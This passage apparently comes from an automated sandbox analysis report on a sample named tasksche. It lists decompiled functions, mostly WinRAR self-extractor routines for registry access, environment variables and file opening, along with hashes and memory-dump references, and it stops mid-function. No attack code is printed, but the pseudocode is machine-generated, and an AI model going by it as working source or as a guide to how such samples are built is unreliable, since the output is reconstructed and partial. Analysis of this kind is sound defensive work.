API ID: LibraryLoad$CommonControlsInitInitializeMalloc
String ID: riched20.dll$riched32.dll
API String ID: 448729520-3294723617
Opcode ID: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction ID: d62a9b991739124620cbbd73e07a01740528edc951963754c9102d88a2026b42
Opcode Fuzzy Hash: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction Fuzzy Hash: EFF08271B00318AFD7209FA5DC0EB9ABBE8EF40766F50442DE54593250DBB8A4458BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA8C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DA8C(void* __esi, char* _a4) {
				void* _v8;
				int _v12;
				short _v4108;
				long _t12;
				long _t20;
				intOrPtr _t27;

				_t12 = E0041AAF0(0x1008);
				if( *0x441878 != 0) {
					_t27 =  *0x438818; // 0x43
					if(_t27 != 0) {
						E0040DA4F( &_v4108, "C:\Windows");
						_t12 = RegCreateKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 0, 0, 0x20006, 0,  &_v8,  &_v12); // executed
						if(_t12 == 0) {
							RegSetValueExW(_v8,  &_v4108, 0, 1, _a4, E0041A7AF(_a4) + _t16 + 2); // executed
							_t20 = RegCloseKey(_v8); // executed
							return _t20;
						}
					}
				}
				return _t12;
			}

0x0040da94
0x0040daa2
0x0040daa4
0x0040daab
0x0040dab9
0x0040dad9
0x0040dae2
0x0040db02
0x0040db0b
0x00000000
0x0040db0b
0x0040dae2
0x0040daab
0x0040db13

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegCreateKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000000,00000000,00020006,00000000,?,?,C:\Windows), ref: 0040DAD9
_wcslen.LIBCMT ref: 0040DAE7
RegSetValueExW.KERNELBASE(?,?,00000000,00000001,?,?), ref: 0040DB02
RegCloseKey.KERNELBASE(?), ref: 0040DB0B

Strings

C:\Windows, xrefs: 0040DAA4, 0040DAAE
Software\WinRAR SFX, xrefs: 0040DACF

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CloseCreateValue_wcscpy_wcslen
String ID: C:\Windows$Software\WinRAR SFX
API String ID: 3170333323-1036045337
Opcode ID: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction ID: c04f9cf324d6fb33717342d95d48926d42d97767c878bcc2ae640bd506731f16
Opcode Fuzzy Hash: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction Fuzzy Hash: 7F018476A0020CBFEB21AF90DC86EDA777CEB08388F504076B60562061DA745ED99669

Uniqueness

Uniqueness Score: -1.00%

Function 0041A506 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E0041A506(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x42d658);
				_t8 = E0041FA9C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E0041FAE1(_t8);
				}
				if( *0x451420 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x44f848); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E0041EDAE(_t31);
						 *_t10 = E0041ED6C(GetLastError());
					}
					goto L9;
				}
				E0041EFA3(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E0041EFD6(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E0041F006();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E0041A55C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x0041a506
0x0041a508
0x0041a50d
0x0041a512
0x0041a517
0x0041a58e
0x0041a593
0x0041a593
0x0041a520
0x0041a565
0x0041a566
0x0041a566
0x0041a56e
0x0041a574
0x0041a576
0x0041a578
0x0041a58b
0x0041a58d
0x00000000
0x0041a576
0x0041a524
0x0041a52a
0x0041a52f
0x0041a535
0x0041a53a
0x0041a53c
0x0041a53d
0x0041a53e
0x0041a544
0x0041a545
0x0041a54c
0x0041a555
0x00000000
0x0041a557
0x0041a557
0x00000000
0x0041a557

APIs

__lock.LIBCMT ref: 0041A524

Part of subcall function 0041EFA3: __mtinitlocknum.LIBCMT ref: 0041EFB9
Part of subcall function 0041EFA3: __amsg_exit.LIBCMT ref: 0041EFC5
Part of subcall function 0041EFA3: EnterCriticalSection.KERNEL32(0041A9AB,0041A9AB,?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001), ref: 0041EFCD

___sbh_find_block.LIBCMT ref: 0041A52F
___sbh_free_block.LIBCMT ref: 0041A53E
RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction ID: 0c17081243acc93c5e04f74f5850e91c5e9c62578e05a8caa74c22d26ff5c9bd
Opcode Fuzzy Hash: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction Fuzzy Hash: 1D01847194A215BBDB306BB29C067DE3B65AF00798F10012BFC0496291DB3C86D19A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00411119 Relevance: 7.5, APIs: 5, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00411119(void* __ecx) {
				long* _t16;
				void** _t19;
				void* _t21;

				_t17 = __ecx;
				_t21 = __ecx;
				E0041102B(__ecx);
				_t16 = 0;
				 *((char*)(__ecx + 0x194)) = 1;
				ReleaseSemaphore( *(__ecx + 0x198), 0x20, 0);
				if( *((intOrPtr*)(_t21 + 0x84)) > 0) {
					_t19 = _t21 + 4;
					do {
						E00410EA0(_t17,  *_t19);
						FindCloseChangeNotification( *_t19); // executed
						_t16 = _t16 + 1;
						_t19 =  &(_t19[1]);
					} while (_t16 <  *((intOrPtr*)(_t21 + 0x84)));
				}
				DeleteCriticalSection(_t21 + 0x1a0);
				FindCloseChangeNotification( *(_t21 + 0x198)); // executed
				return CloseHandle( *(_t21 + 0x19c));
			}

0x00411119
0x0041111c
0x0041111e
0x00411123
0x0041112e
0x00411135
0x00411147
0x0041114a
0x0041114d
0x0041114f
0x00411156
0x00411158
0x00411159
0x0041115c
0x00411164
0x0041116c
0x00411178
0x00411185

APIs

Part of subcall function 0041102B: ResetEvent.KERNEL32(?,00000200,?,?,00405016), ref: 00411051
Part of subcall function 0041102B: ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00411061

ReleaseSemaphore.KERNEL32(?,00000020,00000000,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411135
FindCloseChangeNotification.KERNELBASE(00000003,00000003,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411156
DeleteCriticalSection.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 0041116C
FindCloseChangeNotification.KERNELBASE(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411178
CloseHandle.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411180

Part of subcall function 00410EA0: WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
Part of subcall function 00410EA0: GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Close$ChangeFindNotificationReleaseSemaphore$CriticalDeleteErrorEventHandleLastObjectResetSectionSingleWait
String ID:
API String ID: 3803654862-0
Opcode ID: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction ID: 628da898c48b8095e2505876ae832dd6733ab043d372e65b09dbeb3e2adc3a3f
Opcode Fuzzy Hash: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction Fuzzy Hash: F9F06275101704AFD7206B70DC45BD7BBA5EB0A354F00042AF7AA41120CB7768A19B29

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DB16(void* __esi, intOrPtr _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				int _v16;
				char _v4112;
				short _v8208;
				long _t22;
				signed int _t31;
				void* _t38;

				_t22 = E0041AAF0(0x200c);
				if( *0x441878 != 0) {
					E0040DA4F( &_v8208, _a4);
					_t22 = RegOpenKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 1,  &_v12); // executed
					if(_t22 == 0) {
						_v8 = 0x1000;
						if(RegQueryValueExW(_v12,  &_v8208, 0,  &_v16,  &_v4112,  &_v8) == 0) {
							_v8 = _v8 >> 1;
							_t31 = 0x7ff;
							if(_v8 < 0x7ff) {
								_t31 = _v8;
							}
							 *((short*)(_t38 + _t31 * 2 - 0x100c)) = 0;
							E00410B9C(_a4,  &_v4112, _a8);
						}
						return RegCloseKey(_v12);
					}
				}
				return _t22;
			}

0x0040db1e
0x0040db2a
0x0040db3a
0x0040db51
0x0040db5a
0x0040db77
0x0040db86
0x0040db88
0x0040db8b
0x0040db93
0x0040db95
0x0040db95
0x0040db9d
0x0040dbaf
0x0040dbaf
0x00000000
0x0040dbb7
0x0040db5a
0x0040dbbe

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegOpenKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000001,?,?), ref: 0040DB51
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?), ref: 0040DB7E
RegCloseKey.ADVAPI32(?), ref: 0040DBB7

Strings

Software\WinRAR SFX, xrefs: 0040DB47

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CloseOpenQueryValue_wcscpy
String ID: Software\WinRAR SFX
API String ID: 2005349754-754673328
Opcode ID: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction ID: 4c76dbbd45d9bc8f01a1638326186229006e98cd85c276784524804615dea21e
Opcode Fuzzy Hash: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction Fuzzy Hash: 29110635A0020CEBEF219F90DD45FDE7BB8EF04345F5040B6B905A2191D7B8AA94DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004050E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?), ref: 004050F5
SHBrowseForFolderW.SHELL32(?), ref: 00405130

Strings

A, xrefs: 00405129

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: BrowseFolderMalloc
String ID: A
API String ID: 3812826013-3554254475
Opcode ID: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction ID: 7c691baa3b27f7502734ebd35b11d26621297010b335108cc4fc530f71bfb90e
Opcode Fuzzy Hash: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction Fuzzy Hash: F0010572900619EBDB11CFA4D909BEF7BF8EF49311F204466E805EB240D779DA058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00419CB2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00419CB2(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				long _t8;
				WCHAR* _t10;

				_t8 = _a4;
				_t5 = GetClassNameW(_t8,  &_v164, 0x50);
				if(_t5 != 0) {
					_t10 = L"EDIT";
					_t5 = E00411E60( &_v164, _t10);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t8, 0, _t10, 0); // executed
						_t8 = _t5;
					}
				}
				if(_t8 != 0) {
					_t6 = SHAutoComplete(_t8, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x00419cbc
0x00419cc9
0x00419cd1
0x00419cd4
0x00419ce1
0x00419ce8
0x00419cf0
0x00419cf6
0x00419cf6
0x00419cf8
0x00419cfb
0x00419d00
0x00000000
0x00419d00
0x00419d08

APIs

GetClassNameW.USER32 ref: 00419CC9
SHAutoComplete.SHLWAPI(?,00000010), ref: 00419D00

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

FindWindowExW.USER32 ref: 00419CF0

Strings

EDIT, xrefs: 00419CD4, 00419CD9, 00419CEC

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction ID: c03662b206b47bf0f9187f3c1687b62eae72e09aaad69f108c393d7fbd584eff
Opcode Fuzzy Hash: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction Fuzzy Hash: 3CF0E232300219BBDB305A15AD05FEB36BC9F86B40F840066FE01E2280EB68D84285BA

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5F7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E0040D5F7(void* __eflags, WCHAR* _a4) {
				char _v2052;
				WCHAR* _t6;
				int _t9;
				WCHAR* _t10;
				void* _t13;

				_t13 = __eflags;
				SetEnvironmentVariableW(L"sfxcmd", _a4);
				_t6 = E00410C58(_t13, _a4,  &_v2052, 0x400);
				_t10 = _t6;
				if(_t10 != 0) {
					while(E00410B7F( *_t10 & 0x0000ffff) != 0) {
						_t10 =  &(_t10[1]);
						__eflags = _t10;
					}
					_t9 = SetEnvironmentVariableW(L"sfxpar", _t10); // executed
					return _t9;
				}
				return _t6;
			}

0x0040d5f7
0x0040d610
0x0040d621
0x0040d626
0x0040d62a
0x0040d630
0x0040d62f
0x0040d62f
0x0040d62f
0x0040d643
0x00000000
0x0040d643
0x0040d648

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

Strings

sfxcmd, xrefs: 0040D60B
sfxpar, xrefs: 0040D63E

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction ID: 209d7830a902f923c059ddcb8ccd8c76eadbb62e41e0a08ffeb6939b57d6bf06
Opcode Fuzzy Hash: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction Fuzzy Hash: 29E0EC3660011437CA102A969C01EBB7A6CDBC1744F1000337E48A2080E979D89E8BED

Uniqueness

Uniqueness Score: -1.00%

Function 004087C3 Relevance: 6.1, APIs: 4, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E004087C3(void* __ecx, long _a4, long _a8, short _a12, WCHAR* _a4112, unsigned int _a4116) {
				long _v0;
				unsigned int _t34;
				long _t37;
				void* _t38;
				long _t46;
				signed int _t47;
				signed int _t48;
				intOrPtr _t50;
				long _t54;
				intOrPtr _t55;
				long _t62;
				void* _t63;
				void* _t66;

				E0041AAF0(0x100c);
				_t34 = _a4116;
				_t63 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1020)) = 0;
				if( *((char*)(__ecx + 0x1c)) != 0 || (_t34 & 0x00000004) != 0) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				asm("sbb edi, edi");
				_t62 = ( ~(_t34 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t34 & 0x00000001) != 0) {
					_t62 = _t62 | 0x40000000;
				}
				_t37 =  !(_t34 >> 3) & 0x00000001;
				_v0 = _t37;
				if(_t50 != 0) {
					_t37 = _t37 | 0x00000002;
					_v0 = _t37;
				}
				_t47 = CreateFileW;
				_t54 = (0 |  *((intOrPtr*)(_t63 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				_a8 = _t54;
				_t38 = CreateFileW(_a4112, _t62, _t37, 0, 3, _t54, 0); // executed
				_t66 = _t38;
				if(_t66 != 0xffffffff) {
					L15:
					 *(_t63 + 0xc) =  *(_t63 + 0xc) & 0x00000000;
					_t48 = _t47 & 0xffffff00 | _t66 != 0xffffffff;
					 *((char*)(_t63 + 0x12)) = 0;
					 *((char*)(_t63 + 0x10)) = 0;
					if(_t48 != 0) {
						 *(_t63 + 4) = _t66;
						E00410B9C(_t63 + 0x1e, _a4112, 0x800);
					}
					return _t48;
				} else {
					_a4 = GetLastError();
					if(E0040A3DC(_a4112,  &_a12, 0x800) == 0) {
						L13:
						if(_a4 == 2) {
							 *((intOrPtr*)(_t63 + 0x1020)) = 1;
						}
						goto L15;
					}
					_t66 = CreateFileW( &_a12, _t62, _v0, 0, 3, _a8, 0);
					_t46 = GetLastError();
					_t55 = 2;
					if(_t46 == _t55) {
						_a4 = _t55;
					}
					if(_t66 != 0xffffffff) {
						goto L15;
					} else {
						goto L13;
					}
				}
			}

0x004087c8
0x004087cd
0x004087d7
0x004087e0
0x004087e6
0x004087f0
0x004087ec
0x004087ec
0x004087ec
0x004087fe
0x00408806
0x0040880e
0x00408810
0x00408810
0x0040881b
0x0040881e
0x00408824
0x00408826
0x00408829
0x00408829
0x00408832
0x0040883d
0x00408850
0x00408854
0x00408856
0x0040885b
0x004088c0
0x004088c0
0x004088c7
0x004088ca
0x004088ce
0x004088d4
0x004088e2
0x004088e9
0x004088e9
0x004088fa
0x0040885d
0x00408863
0x0040887f
0x004088af
0x004088b4
0x004088b6
0x004088b6
0x00000000
0x004088b4
0x00408897
0x00408899
0x004088a1
0x004088a4
0x004088a6
0x004088a6
0x004088ad
0x00000000
0x00000000
0x00000000
0x00000000
0x004088ad

APIs

CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,-00000001,00000000,00000802,00000000,?,00000000,00406E59,00000000,00000005,?,00000011), ref: 00408854
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 0040885D
CreateFileW.KERNEL32(?,-7FFFF7FE,?,00000000,00000003,00000000,00000000,?,?,00000800,?,00000000,00406E59,00000000,00000005,?), ref: 00408895
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 00408899

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction ID: e5fec55928a071c2e3d1b6f10086eb5e0cd4d8e33465c7e2028d9d916ffc9c2f
Opcode Fuzzy Hash: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction Fuzzy Hash: 083169725047449BE7309B20CD05BEB77D4AB80318F104A2EF9D0A33C2DBBE9548D75A

Uniqueness

Uniqueness Score: -1.00%

Function 00401822 Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401822(intOrPtr __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __ebx;
				signed int _t69;
				signed int _t70;
				intOrPtr _t71;
				intOrPtr _t81;
				intOrPtr _t92;
				void* _t93;
				intOrPtr _t96;
				void* _t98;
				void* _t103;

				_t103 = __eflags;
				_t94 = __edi;
				_t93 = __edx;
				E0041A4DC(E00429548, _t98);
				_push(__ecx);
				_t96 = __ecx;
				 *((intOrPtr*)(_t98 - 0x10)) = __ecx;
				E00408786(__ecx);
				 *((intOrPtr*)(_t98 - 4)) = 0;
				 *((intOrPtr*)(__ecx)) = 0x42a478;
				E00405F3C(__ecx + 0x1024, _t103);
				 *((char*)(_t98 - 4)) = 1;
				E0040B8E3(__ecx + 0x20e8, _t103);
				 *((intOrPtr*)(__ecx + 0x6538)) = 0;
				 *((intOrPtr*)(__ecx + 0x653c)) = 0;
				E004013DD(__ecx + 0x65e8);
				_t69 = E004013DD(__ecx + 0x8928);
				 *((char*)(_t98 - 4)) = 4;
				_t70 = _t69 & 0xffffff00 |  *((intOrPtr*)(_t98 + 8)) == 0x00000000;
				 *((intOrPtr*)(__ecx + 0x6524)) = 0;
				 *(__ecx + 0x6520) = _t70;
				_t105 = _t70;
				if(_t70 == 0) {
					_t71 =  *((intOrPtr*)(_t98 + 8));
				} else {
					_push(0x72a8); // executed
					_t81 = E0041A89A(0, _t93, __edi, _t105); // executed
					_t92 = _t81;
					 *((intOrPtr*)(_t98 + 8)) = _t92;
					 *((char*)(_t98 - 4)) = 5;
					if(_t92 == 0) {
						_t71 = 0;
					} else {
						_t71 = E0040A026(_t92, __edi); // executed
					}
				}
				 *((intOrPtr*)(_t96 + 0x6524)) = _t71;
				 *(_t96 + 0x6528) =  *(_t96 + 0x6528) | 0xffffffff;
				 *(_t96 + 0x652c) =  *(_t96 + 0x652c) | 0xffffffff;
				 *(_t96 + 0x6530) =  *(_t96 + 0x6530) | 0xffffffff;
				 *((char*)(_t96 + 0x1c)) =  *((intOrPtr*)(_t71 + 0x5195));
				 *((intOrPtr*)(_t96 + 0xb050)) = 2;
				 *((char*)(_t96 + 0xb054)) = 0;
				 *((char*)(_t96 + 0xb055)) = 0;
				 *((char*)(_t96 + 0xb056)) = 0;
				 *((char*)(_t96 + 0xb057)) = 0;
				 *((char*)(_t96 + 0xb058)) = 0;
				 *((char*)(_t96 + 0xb059)) = 0;
				 *((char*)(_t96 + 0xb05a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb060)) = 0;
				 *((intOrPtr*)(_t96 + 0x6538)) = 0;
				 *((intOrPtr*)(_t96 + 0x653c)) = 0;
				 *((char*)(_t96 + 0xb05b)) = 0;
				 *((char*)(_t96 + 0xb05c)) = 0;
				 *((char*)(_t96 + 0xb065)) = 0;
